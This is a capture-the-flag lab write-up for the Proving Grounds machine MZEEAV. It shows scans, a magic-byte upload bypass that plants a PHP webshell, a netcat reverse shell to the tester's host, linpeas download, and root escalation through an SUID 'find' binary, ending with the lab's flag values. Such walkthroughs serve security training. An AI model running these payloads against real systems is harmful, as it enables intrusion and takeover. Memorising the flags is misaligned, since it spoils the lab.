Summary #
On port 80 there is a web application running called: MZEE-AV 2022. In the /backups directory there is a ZIP file that contains the source code of the application. The application screens for a magic byte MZ where the uploaded file needs to start with. This knowledge allows us to upload a PHP webshell and gives us initial access as the www-data user. Once on the target we find a /opt/fileS which is a renamed binary from find. Using this binary we can escalate our privileges to the root user.
Specifications #
- Name: MZEEAV
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- System overview: Linux mzeeav 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64 GNU/Linux
- IP address: 192.168.178.33
- OFFSEC provided credentials: None
- HASH:
local.txt:e4b93e50696377538a7c23ece323771d - HASH:
proof.txt:ad640add8dd303dc062e3fb995417d80
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir mzeeav && cd mzeeav && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 14 08:45 .
drwxrwxr-x 65 kali kali 4096 Sep 14 08:45 ..
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 enum
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 exploits
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 files
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 tools
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 uploads
## set bash variable
ip=192.168.178.33
## ping target to check if it's online
ping $ip
PING 192.168.178.33 (192.168.178.33) 56(84) bytes of data.
64 bytes from 192.168.178.33: icmp_seq=1 ttl=61 time=18.5 ms
64 bytes from 192.168.178.33: icmp_seq=2 ttl=61 time=20.6 ms
^C
--- 192.168.178.33 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.543/19.567/20.592/1.024 ms
Reconnaissance #
Portscanning #
Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.178.33:22
Open 192.168.178.33:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 08:46 CEST
Initiating Ping Scan at 08:46
Scanning 192.168.178.33 [4 ports]
Completed Ping Scan at 08:46, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:46
Completed Parallel DNS resolution of 1 host. at 08:46, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:46
Scanning 192.168.178.33 [2 ports]
Discovered open port 22/tcp on 192.168.178.33
Discovered open port 80/tcp on 192.168.178.33
Completed SYN Stealth Scan at 08:46, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.178.33
Host is up, received echo-reply ttl 61 (0.021s latency).
Scanned at 2025-09-14 08:46:11 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports within the files directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNEbgprJqVJa8R95Wkbo3cemB4fdRzos+v750LtPEnRs+IJQn5jcg5l89Tx4junU+AXzLflrMVo55gbuKeNTDtFRU9ltlIu4AU+f7lRlUlvAHlNjUbU/z3WBZ5ZU9j7Xc9WKjh1Ov7chC0UnDdyr5EGrIwlLzgk8zrWx364+S4JqLtER2/n0rhVxa9RCw0tR/oL24kMep4q7rFK6dThiRtQ9nsJFhh6yw8Fmdg7r4uohqH70UJurVwVNwFqtr/86e4VSSoITlMQPZrZFVvoSsjyL8LEODt1qznoLWudMD95Eo1YFSPID5VcS0kSElfYigjSr+9bNSdlzAof1mU6xJA67BggGNu6qITWWIJySXcropehnDAt2nv4zaKAUKc/T0ij9wkIBskuXfN88cEmZbu+gObKbLgwQSRQJIpQ+B/mA8CD4AiaTmEwGSWz1dVPp5Fgb6YVy6E4oO9ASuD9Q1JWuRmnn8uiHF/nPLs2LC2+rh3nPLXlV+MG/zUfQCrdrE=
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCUhhvrIBs53SApXKZYHWBlpH50KO3POt8Y+WvTvHZ5YgRagAEU5eSnGkrnziCUvDWNShFhLHI7kQv+mx+4R6Wk=
| 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4MSEXnpONsc0ANUT6rFQPWsoVmRW4hrpSRq++xySM9
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
On port 80 we find a web application called MZEE-AV 2022 with an Browse and Upload functionality.
Uploading the ./files/ports files we get this response from listing.php. All of these files we didn’t upload. But we cannot do anything further.
So, let’s run gobuster to see if there are interesting directories. We find a directory called /backups.
## run `gobuster`
gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.178.33:80/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/upload (Status: 301) [Size: 317] [--> http://192.168.178.33/upload/]
/backups (Status: 301) [Size: 318] [--> http://192.168.178.33/backups/]
/server-status (Status: 403) [Size: 279]
<SNIP>
When we visit this directory in the browser, we get a directory listing and access to a backup.zip ZIP file.
Let’s download this ZIP file and extract it to see what’s in it. It contains a var directory with what it looks like a backup of the web application. Two interesting PHP files, named: listing.php and upload.php.
## change directory
cd files
## move the ZIP file to `./files`
mv ~/Downloads/backup.zip .
## extract ZIP file
7z x "*.zip"
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 330055 bytes (323 KiB)
Extracting archive: backup.zip
--
Path = backup.zip
Type = zip
Physical Size = 330055
Everything is Ok
Folders: 2
Files: 6
Size: 379060
Compressed: 330055
## list directories and files in `var`
tree var
var
└── www
└── html
├── index.html
├── listing.php
├── upload
│ ├── index.html
│ ├── wget.exe
│ └── whoami.exe
└── upload.php
4 directories, 6 files
upload.php contains some interesting code and looks like this:
<?php
/* Get the name of the uploaded file */
$filename = $_FILES['file']['name'];
/* Choose where to save the uploaded file */
$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;
/* Move the file temporary */
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);
/* Check MagicBytes MZ PEFILE 4D5A*/
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4));
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));
/* if its not a PEFILE block it - str_contains onlz php 8*/
//if ( ! (str_contains($magicbytes, '4D5A'))) {
if ( strpos($magicbytes, '4D5A') === false ) {
echo "Error no valid PEFILE\n";
error_log(print_r("No valid PEFILE", TRUE));
error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
exit ();
}
rename($tmp_location, $location);
?>
Here we see that, using fread, the first two bytes are read from the uploaded file and used in this entry: $magicbytes = strtoupper(substr(bin2hex($magic),0,4));. So it’s converted using bin2hex and eventually compared against: 4D5A.
Using an online hex converter (https://www.scadacore.com/tools/programming-calculators/online-hex-converter/) we see the first two bytes of the uploaded file are compare with the ASCII value: MZ.
So, start BURP and set it to intercept. Now, when try to upload the ./files/ports file again and send the intercepted request to repeater, we add the characters MZ in front of the file content and Click on Send.
We get a 200 OK as a response, so that’s good. Looking at the output, we indeed see our uploaded file in the list.
So, let’s get a webshell. First, create a file called shell.php with our reverse shell command (<?php system($_REQUEST['cmd']); ?>) and upload it using previous technique or change the current request in repeater like this:
## change directory
cd files
## create a file called `shell.php` with this content:
<?php system($_REQUEST['cmd']); ?>
You should see the output like this:
Visiting this URL (http://192.168.178.33/upload/shell.php?cmd=id) in the browser gives us code execution on the target.
So, let’s get a reverse shell. Get the local IP address on tun0, setup a listener and go to this URL: (http://192.168.178.33/upload/shell.php?cmd=nc+192.168.45.211+9001+-c+bash). Now, we get initial access as the www-data user in the /var/www/html/upload directory.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.211] from (UNKNOWN) [192.168.178.33] 48752
## print current user
whoami
www-data
## print current working directory
pwd
/var/www/html/upload
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/avuser/local.txt
## print `local.txt`
cat /home/avuser/local.txt
e4b93e50696377538a7c23ece323771d
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@mzeeav:/var/www/html/upload$ export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211
## start local webserver
python3 -m http.server 80
## on target
## change directory
www-data@mzeeav:/var/www/html/upload$ cd /var/tmp
www-data@mzeeav:/var/tmp$
## download `linpeas.sh`
www-data@mzeeav:/var/tmp$ wget http://192.168.45.211/linpeas.sh
--2025-09-14 03:17:11-- http://192.168.45.211/linpeas.sh
Connecting to 192.168.45.211:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 939.29K 5.16MB/s in 0.2s
2025-09-14 03:17:11 (5.16 MB/s) - 'linpeas.sh' saved [961834/961834]
## set the execution bit
www-data@mzeeav:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@mzeeav:/var/tmp$ ./linpeas.sh
The linpeas.sh output shows a binary /opt/fileS which has the SUID bit set. Using the --version option we can see this is the find binary, but it’s names fileS.
## get details on version of binary
www-data@mzeeav:/var/tmp$ /opt/fileS --version
find (GNU findutils) 4.8.0
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by Eric B. Decker, James Youngman, and Kevin Dalley.
Features enabled: D_TYPE O_NOFOLLOW(enabled) LEAF_OPTIMISATION FTS(FTS_CWDFD) CBO(level=2)
Using GTFOBins (https://gtfobins.github.io/gtfobins/find/#suid) we can escalate our privileges to the root user.
## escalate to the `root` user using the `find` binary
www-data@mzeeav:/var/tmp$ /opt/fileS . -exec /bin/sh -p \; -quit
#
## print current user
# whoami
root
## print `proof.txt`
# cat /root/proof.txt
ad640add8dd303dc062e3fb995417d80
References #
[+] https://www.scadacore.com/tools/programming-calculators/online-hex-converter/
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://gtfobins.github.io/gtfobins/find/#suid